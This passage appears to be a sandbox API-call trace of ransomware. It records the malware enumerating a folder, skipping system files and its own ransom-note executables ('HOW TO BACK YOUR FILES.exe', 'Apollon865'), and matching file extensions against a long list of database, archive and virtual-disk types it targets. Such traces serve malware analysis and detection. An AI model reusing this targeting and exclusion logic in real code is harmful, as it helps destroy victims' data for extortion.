	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="pagefile.sys") returned -1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="boot") returned 1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="ids.txt") returned -1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="ntuser.dat") returned -1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="perflogs") returned -1
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2="MSBuild") returned -1
	[0076.387] lstrlenW (lpString="ConvertInkStore.exe") returned 19
	[0076.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0076.387] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ConvertInkStore.exe" | out: lpString1="ConvertInkStore.exe") returned="ConvertInkStore.exe"
	[0076.387] lstrlenW (lpString="ConvertInkStore.exe") returned 19
	[0076.387] lstrlenW (lpString="Apollon865") returned 10
	[0076.387] lstrcmpiW (lpString1="kStore.exe", lpString2="Apollon865") returned 1
	[0076.387] lstrlenW (lpString=".dll") returned 4
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".dll") returned 1
	[0076.387] lstrlenW (lpString=".lnk") returned 4
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".lnk") returned 1
	[0076.387] lstrlenW (lpString=".ini") returned 4
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".ini") returned 1
	[0076.387] lstrlenW (lpString=".sys") returned 4
	[0076.387] lstrcmpiW (lpString1="ConvertInkStore.exe", lpString2=".sys") returned 1
	[0076.387] lstrlenW (lpString="ConvertInkStore.exe") returned 19
	[0076.387] lstrlenW (lpString="bak") returned 3
	[0076.387] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0076.387] lstrlenW (lpString="ba_") returned 3
	[0076.387] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0076.387] lstrlenW (lpString="dbb") returned 3
	[0076.387] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0076.387] lstrlenW (lpString="vmdk") returned 4
	[0076.388] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0076.388] lstrlenW (lpString="rar") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0076.388] lstrlenW (lpString="zip") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0076.388] lstrlenW (lpString="tgz") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0076.388] lstrlenW (lpString="vbox") returned 4
	[0076.388] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0076.388] lstrlenW (lpString="vdi") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0076.388] lstrlenW (lpString="vhd") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0076.388] lstrlenW (lpString="vhdx") returned 4
	[0076.388] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0076.388] lstrlenW (lpString="avhd") returned 4
	[0076.388] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0076.388] lstrlenW (lpString="db") returned 2
	[0076.388] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0076.388] lstrlenW (lpString="db2") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0076.388] lstrlenW (lpString="db3") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0076.388] lstrlenW (lpString="dbf") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0076.388] lstrlenW (lpString="mdf") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0076.388] lstrlenW (lpString="mdb") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0076.388] lstrlenW (lpString="sql") returned 3
	[0076.388] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0076.388] lstrlenW (lpString="sqlite") returned 6
	[0076.388] lstrcmpiW (lpString1="re.exe", lpString2="sqlite") returned -1
	[0076.388] lstrlenW (lpString="sqlite3") returned 7
	[0076.388] lstrcmpiW (lpString1="ore.exe", lpString2="sqlite3") returned -1
	[0076.388] lstrlenW (lpString="sqlitedb") returned 8
	[0076.388] lstrcmpiW (lpString1="tore.exe", lpString2="sqlitedb") returned 1
	[0076.388] lstrlenW (lpString="xml") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0076.389] lstrlenW (lpString="$er") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0076.389] lstrlenW (lpString="4dd") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0076.389] lstrlenW (lpString="4dl") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0076.389] lstrlenW (lpString="^^^") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0076.389] lstrlenW (lpString="abs") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0076.389] lstrlenW (lpString="abx") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0076.389] lstrlenW (lpString="accdb") returned 5
	[0076.389] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1
	[0076.389] lstrlenW (lpString="accdc") returned 5
	[0076.389] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1
	[0076.389] lstrlenW (lpString="accde") returned 5
	[0076.389] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1
	[0076.389] lstrlenW (lpString="accdr") returned 5
	[0076.389] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1
	[0076.389] lstrlenW (lpString="accdt") returned 5
	[0076.389] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1
	[0076.389] lstrlenW (lpString="accdw") returned 5
	[0076.389] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1
	[0076.389] lstrlenW (lpString="accft") returned 5
	[0076.389] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1
	[0076.389] lstrlenW (lpString="adb") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0076.389] lstrlenW (lpString="adb") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0076.389] lstrlenW (lpString="ade") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0076.389] lstrlenW (lpString="adf") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0076.389] lstrlenW (lpString="adn") returned 3
	[0076.389] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0076.390] lstrlenW (lpString="adp") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0076.390] lstrlenW (lpString="alf") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0076.390] lstrlenW (lpString="ask") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0076.390] lstrlenW (lpString="btr") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0076.390] lstrlenW (lpString="cat") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0076.390] lstrlenW (lpString="cdb") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0076.390] lstrlenW (lpString="ckp") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0076.390] lstrlenW (lpString="cma") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0076.390] lstrlenW (lpString="cpd") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0076.390] lstrlenW (lpString="dacpac") returned 6
	[0076.390] lstrcmpiW (lpString1="re.exe", lpString2="dacpac") returned 1
	[0076.390] lstrlenW (lpString="dad") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0076.390] lstrlenW (lpString="dadiagrams") returned 10
	[0076.390] lstrcmpiW (lpString1="kStore.exe", lpString2="dadiagrams") returned 1
	[0076.390] lstrlenW (lpString="daschema") returned 8
	[0076.390] lstrcmpiW (lpString1="tore.exe", lpString2="daschema") returned 1
	[0076.390] lstrlenW (lpString="db-journal") returned 10
	[0076.390] lstrcmpiW (lpString1="kStore.exe", lpString2="db-journal") returned 1
	[0076.390] lstrlenW (lpString="db-shm") returned 6
	[0076.390] lstrcmpiW (lpString1="re.exe", lpString2="db-shm") returned 1
	[0076.390] lstrlenW (lpString="db-wal") returned 6
	[0076.390] lstrcmpiW (lpString1="re.exe", lpString2="db-wal") returned 1
	[0076.390] lstrlenW (lpString="dbc") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0076.390] lstrlenW (lpString="dbs") returned 3
	[0076.390] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0076.390] lstrlenW (lpString="dbt") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0076.391] lstrlenW (lpString="dbv") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0076.391] lstrlenW (lpString="dbx") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0076.391] lstrlenW (lpString="dcb") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0076.391] lstrlenW (lpString="dct") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0076.391] lstrlenW (lpString="dcx") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0076.391] lstrlenW (lpString="ddl") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0076.391] lstrlenW (lpString="dlis") returned 4
	[0076.391] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0076.391] lstrlenW (lpString="dp1") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0076.391] lstrlenW (lpString="dqy") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0076.391] lstrlenW (lpString="dsk") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0076.391] lstrlenW (lpString="dsn") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0076.391] lstrlenW (lpString="dtsx") returned 4
	[0076.391] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0076.391] lstrlenW (lpString="dxl") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0076.391] lstrlenW (lpString="eco") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0076.391] lstrlenW (lpString="ecx") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0076.391] lstrlenW (lpString="edb") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0076.391] lstrlenW (lpString="epim") returned 4
	[0076.391] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0076.391] lstrlenW (lpString="fcd") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0076.391] lstrlenW (lpString="fdb") returned 3
	[0076.391] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0076.392] lstrlenW (lpString="fic") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0076.392] lstrlenW (lpString="flexolibrary") returned 12
	[0076.392] lstrcmpiW (lpString1="InkStore.exe", lpString2="flexolibrary") returned 1
	[0076.392] lstrlenW (lpString="fm5") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0076.392] lstrlenW (lpString="fmp") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0076.392] lstrlenW (lpString="fmp12") returned 5
	[0076.392] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1
	[0076.392] lstrlenW (lpString="fmpsl") returned 5
	[0076.392] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1
	[0076.392] lstrlenW (lpString="fol") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0076.392] lstrlenW (lpString="fp3") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0076.392] lstrlenW (lpString="fp4") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0076.392] lstrlenW (lpString="fp5") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0076.392] lstrlenW (lpString="fp7") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0076.392] lstrlenW (lpString="fpt") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0076.392] lstrlenW (lpString="frm") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0076.392] lstrlenW (lpString="gdb") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0076.392] lstrlenW (lpString="gdb") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0076.392] lstrlenW (lpString="grdb") returned 4
	[0076.392] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0076.392] lstrlenW (lpString="gwi") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0076.392] lstrlenW (lpString="hdb") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0076.392] lstrlenW (lpString="his") returned 3
	[0076.392] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0076.393] lstrlenW (lpString="ib") returned 2
	[0076.393] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0076.393] lstrlenW (lpString="idb") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0076.393] lstrlenW (lpString="ihx") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0076.393] lstrlenW (lpString="itdb") returned 4
	[0076.393] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0076.393] lstrlenW (lpString="itw") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0076.393] lstrlenW (lpString="jet") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0076.393] lstrlenW (lpString="jtx") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0076.393] lstrlenW (lpString="kdb") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0076.393] lstrlenW (lpString="kexi") returned 4
	[0076.393] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0076.393] lstrlenW (lpString="kexic") returned 5
	[0076.393] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1
	[0076.393] lstrlenW (lpString="kexis") returned 5
	[0076.393] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1
	[0076.393] lstrlenW (lpString="lgc") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0076.393] lstrlenW (lpString="lwx") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0076.393] lstrlenW (lpString="maf") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0076.393] lstrlenW (lpString="maq") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0076.393] lstrlenW (lpString="mar") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0076.393] lstrlenW (lpString="marshal") returned 7
	[0076.393] lstrcmpiW (lpString1="ore.exe", lpString2="marshal") returned 1
	[0076.393] lstrlenW (lpString="mas") returned 3
	[0076.393] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0076.393] lstrlenW (lpString="mav") returned 3
	[0076.394] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0076.394] lstrlenW (lpString="maw") returned 3
	[0076.394] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0076.394] lstrlenW (lpString="mdbhtml") returned 7
	[0076.394] lstrcmpiW (lpString1="ore.exe", lpString2="mdbhtml") returned 1
	[0076.394] lstrlenW (lpString="mdn") returned 3
	[0076.398] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0076.398] lstrlenW (lpString="mdt") returned 3
	[0076.398] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0076.398] lstrlenW (lpString="mfd") returned 3
	[0076.398] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0076.398] lstrlenW (lpString="mpd") returned 3
	[0076.398] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0076.398] lstrlenW (lpString="mrg") returned 3
	[0076.398] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0076.398] lstrlenW (lpString="mud") returned 3
	[0076.398] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0076.398] lstrlenW (lpString="mwb") returned 3
	[0076.398] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0076.398] lstrlenW (lpString="myd") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0076.399] lstrlenW (lpString="ndf") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0076.399] lstrlenW (lpString="nnt") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0076.399] lstrlenW (lpString="nrmlib") returned 6
	[0076.399] lstrcmpiW (lpString1="re.exe", lpString2="nrmlib") returned 1
	[0076.399] lstrlenW (lpString="ns2") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0076.399] lstrlenW (lpString="ns3") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0076.399] lstrlenW (lpString="ns4") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0076.399] lstrlenW (lpString="nsf") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0076.399] lstrlenW (lpString="nv") returned 2
	[0076.399] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0076.399] lstrlenW (lpString="nv2") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0076.399] lstrlenW (lpString="nwdb") returned 4
	[0076.399] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0076.399] lstrlenW (lpString="nyf") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0076.399] lstrlenW (lpString="odb") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0076.399] lstrlenW (lpString="odb") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0076.399] lstrlenW (lpString="oqy") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0076.399] lstrlenW (lpString="ora") returned 3
	[0076.399] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0076.399] lstrlenW (lpString="orx") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0076.400] lstrlenW (lpString="owc") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0076.400] lstrlenW (lpString="p96") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0076.400] lstrlenW (lpString="p97") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0076.400] lstrlenW (lpString="pan") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0076.400] lstrlenW (lpString="pdb") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0076.400] lstrlenW (lpString="pdm") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0076.400] lstrlenW (lpString="pnz") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0076.400] lstrlenW (lpString="qry") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0076.400] lstrlenW (lpString="qvd") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0076.400] lstrlenW (lpString="rbf") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0076.400] lstrlenW (lpString="rctd") returned 4
	[0076.400] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0076.400] lstrlenW (lpString="rod") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0076.400] lstrlenW (lpString="rodx") returned 4
	[0076.400] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0076.400] lstrlenW (lpString="rpd") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0076.400] lstrlenW (lpString="rsd") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0076.400] lstrlenW (lpString="sas7bdat") returned 8
	[0076.400] lstrcmpiW (lpString1="tore.exe", lpString2="sas7bdat") returned 1
	[0076.400] lstrlenW (lpString="sbf") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0076.400] lstrlenW (lpString="scx") returned 3
	[0076.400] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0076.401] lstrlenW (lpString="sdb") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0076.401] lstrlenW (lpString="sdc") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0076.401] lstrlenW (lpString="sdf") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0076.401] lstrlenW (lpString="sis") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0076.401] lstrlenW (lpString="spq") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0076.401] lstrlenW (lpString="te") returned 2
	[0076.401] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0076.401] lstrlenW (lpString="teacher") returned 7
	[0076.401] lstrcmpiW (lpString1="ore.exe", lpString2="teacher") returned -1
	[0076.401] lstrlenW (lpString="tmd") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0076.401] lstrlenW (lpString="tps") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0076.401] lstrlenW (lpString="trc") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0076.401] lstrlenW (lpString="trc") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0076.401] lstrlenW (lpString="trm") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0076.401] lstrlenW (lpString="udb") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0076.401] lstrlenW (lpString="udl") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0076.401] lstrlenW (lpString="usr") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0076.401] lstrlenW (lpString="v12") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0076.401] lstrlenW (lpString="vis") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0076.401] lstrlenW (lpString="vpd") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0076.401] lstrlenW (lpString="vvv") returned 3
	[0076.401] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0076.402] lstrlenW (lpString="wdb") returned 3
	[0076.402] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0076.402] lstrlenW (lpString="wmdb") returned 4
	[0076.402] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0076.402] lstrlenW (lpString="wrk") returned 3
	[0076.402] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0076.402] lstrlenW (lpString="xdb") returned 3
	[0076.402] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0076.402] lstrlenW (lpString="xld") returned 3
	[0076.402] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0076.402] lstrlenW (lpString="xmlff") returned 5
	[0076.402] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1
	[0076.402] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="Apollon865.txt.exe") returned 1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2=".") returned 1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="..") returned 1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="windows") returned -1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="bootmgr") returned 1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="temp") returned -1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="pagefile.sys") returned -1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="boot") returned 1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="ids.txt") returned -1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="ntuser.dat") returned -1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="perflogs") returned -1
	[0076.402] lstrcmpiW (lpString1="cs-CZ", lpString2="MSBuild") returned -1
	[0076.402] lstrlenW (lpString="cs-CZ") returned 5
	[0076.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70
	[0076.402] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="cs-CZ" | out: lpString1="cs-CZ") returned="cs-CZ"
	[0076.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0076.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0076.402] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7ad0
	[0076.402] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0076.402] lstrcmpiW (lpString1="da-DK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.402] lstrcmpiW (lpString1="da-DK", lpString2="Apollon865.txt.exe") returned 1
	[0076.402] lstrcmpiW (lpString1="da-DK", lpString2=".") returned 1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="..") returned 1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="windows") returned -1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="bootmgr") returned 1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="temp") returned -1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="pagefile.sys") returned -1
	[0076.403] lstrcmpiW (lpString1="da-DK", lpString2="boot") returned 1
